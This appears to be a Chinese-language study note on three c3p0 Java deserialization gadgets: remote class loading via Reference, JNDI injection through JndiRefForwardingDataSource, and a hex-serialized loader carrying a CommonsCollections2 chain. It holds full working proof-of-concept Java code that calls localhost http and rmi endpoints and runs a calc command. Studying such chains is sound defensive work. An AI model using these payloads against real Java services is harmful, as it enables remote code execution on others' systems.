c3p0 的 3 条 gadget 学习记录
c3p0
C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。c3p0是异步操作的,缓慢的JDBC操作通过帮助进程完成。扩展这些操作可以有效的提升性能。目前使用它的开源项目有hibernate,spring等。是一个成熟的、高并发的JDBC连接池库,用于缓存和重用PreparedStatements支持。c3p0具有自动回收空闲连接功能。http base
触发点是 PoolBackedDataSourceBase 中的 readObject 方法,在其中调用了 getObject 方法
跟进 getObject,其中又调用了 referenceToObject 方法(之前也是有 lookup,但 contextName 不可控,所以这里不能 jndi 注入)
继续跟进 referenceToObject 方法,发现这里可以直接远程加载 class,对应的参数是 Reference 中的 classFactory classFactoryLocation 属性,最后从 classFactoryLocation 中加载 classFactory 类
看一下 poc 是怎么写的:
package moonflower.reflection.c3p0; import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; import com.mchange.v2.naming.ReferenceIndirector; import javax.naming.Name; import javax.naming.NamingException; import javax.naming.Reference; import javax.naming.Referenceable; import javax.sql.ConnectionPoolDataSource; import javax.sql.PooledConnection; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.rmi.Naming; import java.sql.SQLException; import java.sql.SQLFeatureNotSupportedException; import java.util.logging.Logger; public class c3p0SerDemo { public static void main(String[] args) throws Exception{ PoolBackedDataSourceBase a = new PoolBackedDataSourceBase(false); Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase"); Field f1 = clazz.getDeclaredField("connectionPoolDataSource"); //此类是PoolBackedDataSourceBase抽象类的实现 f1.setAccessible(true); f1.set(a,new evil()); ObjectOutputStream ser = new ObjectOutputStream(new FileOutputStream(new File("a.bin"))); ser.writeObject(a); ser.close(); ObjectInputStream unser = new ObjectInputStream(new FileInputStream("a.bin")); unser.readObject(); unser.close(); } public static class evil implements ConnectionPoolDataSource, Referenceable { public PrintWriter getLogWriter () throws SQLException {return null;} public void setLogWriter ( PrintWriter out ) throws SQLException {} public void setLoginTimeout ( int seconds ) throws SQLException {} public int getLoginTimeout () throws SQLException {return 0;} public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;} public PooledConnection getPooledConnection () throws SQLException {return null;} public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;} @Override public Reference getReference() throws NamingException { return new Reference("evilexp","evilexp","http://127.0.0.1:10099/"); } } }
evilexp.java:(注意不要有包名!)
public class evilexp { public evilexp() throws Exception{ Runtime.getRuntime().exec("calc"); } }
看一下如何修改 classFactory classFactoryLocation 的值。PoolBackedDataSourceBase 中的 writeObject,首先尝试序列化当前对象的 connectionPoolDataSource 属性,如果不能序列化便会进入 catch 部分,在 catch 中用 ReferenceIndirector.indirectForm 处理后再进行序列化。
跟进 indirectForm,此方法会调用传入参数的 getReference 方法,用返回的结果实例化一个 ReferenceSerialized对象,然后返回这个对象,在这个过程中,传入的 object 也就是 reference 对象是我们构造的触发反序列化的对象。
getReference 在 poc 中声明:
对应到 Reference 类中,完成赋值
JNDI 注入
在 fastjson 或 jackson 的环境下利用,要求 jdk8u191 一下的版本(在jdk8u191 后添加了 trustCodebaseURL 的限制,无法加载远程 codebase 的字节码)
poc:(以 jackson 为例)
用到的工具:https://github.com/welk1n/JNDI-Injection-Exploit/
import com.fasterxml.jackson.databind.ObjectMapper; import java.io.*; class Person { public Object object; } public class TemplatePoc { public static void main(String[] args) throws IOException { String poc = "{\"object\":[\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",{\"jndiName\":\"rmi://localhost:8088/Exploit\", \"loginTimeout\":0}]}"; System.out.println(poc); ObjectMapper objectMapper = new ObjectMapper(); objectMapper.enableDefaultTyping(); objectMapper.readValue(poc, Person.class); } public static byte[] toByteArray(InputStream in) throws IOException { byte[] classBytes; classBytes = new byte[in.available()]; in.read(classBytes); in.close(); return classBytes; } public static String bytesToHexString(byte[] bArray, int length) { StringBuffer sb = new StringBuffer(length); for(int i = 0; i < length; ++i) { String sTemp = Integer.toHexString(255 & bArray[i]); if (sTemp.length() < 2) { sb.append(0); } sb.append(sTemp.toUpperCase()); } return sb.toString(); } }
顺着 poc 看一下漏洞触发点:com.mchange.v2.c3p0.JndiRefForwardingDataSource,传入的参数是 jndiName,首先调用 setJndiName 方法改变 jndiName 的值
然后传入一个 LoginTimeout 属性,同样跟进对应的 setLoginTimeout 方法,
跟进 JndiRefForwardingDataSource#inner ,在其中调用了 dereference 方法
最后是在 dereference 中调用 lookup,参数是前面修改的 jndiName
HEX序列化字节加载器
同样用于 fastjson 和 jackson 的环境,可以实现不出网回显。
poc:(其中 go 方法生成了一个 cc2 的 payload)
package moonflower.reflection.c3p0; import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource; import java.io.*; import java.lang.reflect.Field; import java.util.Locale; import java.util.PriorityQueue; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import com.fasterxml.jackson.databind.ObjectMapper; public class c3p { public static void main(String[] args) throws Exception { PriorityQueue a = go(); ObjectOutputStream ser0 = new ObjectOutputStream(new FileOutputStream(new File("a.bin"))); ser0.writeObject(a); ser0.close(); InputStream in = new FileInputStream("a.bin"); byte[] data = toByteArray(in); in.close(); String HexString = bytesToHexString(data, data.length); String poc = "{\"object\":[\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",{\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ HexString + ";\"}]}"; System.out.println(poc); ObjectMapper objectMapper = new ObjectMapper(); objectMapper.enableDefaultTyping(); objectMapper.readValue(poc, Person.class); } public static PriorityQueue go() throws Exception { ChainedTransformer chain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{ "getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})}); TransformingComparator comparator = new TransformingComparator(chain); PriorityQueue queue = new PriorityQueue(1); queue.add(1); queue.add(2); Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator"); field.setAccessible(true); field.set(queue, comparator); return queue; } public static byte[] toByteArray(InputStream in) throws IOException { byte[] classBytes; classBytes = new byte[in.available()]; in.read(classBytes); in.close(); return classBytes; } public static String bytesToHexString(byte[] bArray, int length) { StringBuilder sb = new StringBuilder(length); for (int i = 0; i < length; i++) { String sTemp = Integer.toHexString(255 & bArray[i]); if (sTemp.length() < 2) { sb.append(0); } sb.append(sTemp.toUpperCase()); } return sb.toString(); } }
首先传入 userOverridesAsString,跟进对应的 setUserOverridesAsString 方法:
然后进入 WrapperConnectionPoolDataSource 的 setUpPropertyListeners 方法,在其中调用 parseUserOverridesAsString 方法解析对应的 value,也就是 payload 中的 HexAsciiSerializedMap 部分,
接着提取内容,并进行格式转换,
跟进 fromByteArray,最后在调用的 deserializeFromByteArray 方法中触发了反序列化。
参考文献
- http://redteam.today/2020/04/18/c3p0%E7%9A%84%E4%B8%89%E4%B8%AAgadget/
- https://xz.aliyun.com/t/10728
- https://tttang.com/archive/1411/
- https://www.cnblogs.com/CoLo/p/15850685.html#c3p0getobject
- https://www.yulegeyu.com/2021/10/10/JAVA%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BC3P0%E4%B8%8D%E5%87%BA%E7%BD%91%E5%88%A9%E7%94%A8/